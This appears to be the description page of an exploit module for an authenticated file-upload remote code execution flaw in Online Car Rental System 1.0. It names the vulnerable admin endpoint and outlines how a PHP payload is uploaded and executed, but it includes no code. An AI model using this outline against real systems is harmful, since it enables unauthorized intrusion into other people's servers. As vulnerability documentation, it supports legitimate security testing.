Carrental Fileupload Rce

Vulnerable Application

The Online Car Rental System 1.0 is vulnerable to Authenticated Remote Code Execution (RCE) due to an insecure file upload mechanism. Specifically, the changeimage1.php endpoint in the admin panel does not validate uploaded file types, allowing authenticated users to upload arbitrary PHP scripts. These scripts can be accessed and executed via a predictable file path, leading to full remote code execution.

You can download the vulnerable software from the following link: 🔗 Online Car Rental System 1.0 - Source Code

This module exploits the vulnerability by authenticating to the admin panel, uploading a malicious PHP payload using the vulnerable endpoint, and executing it to gain remote access.
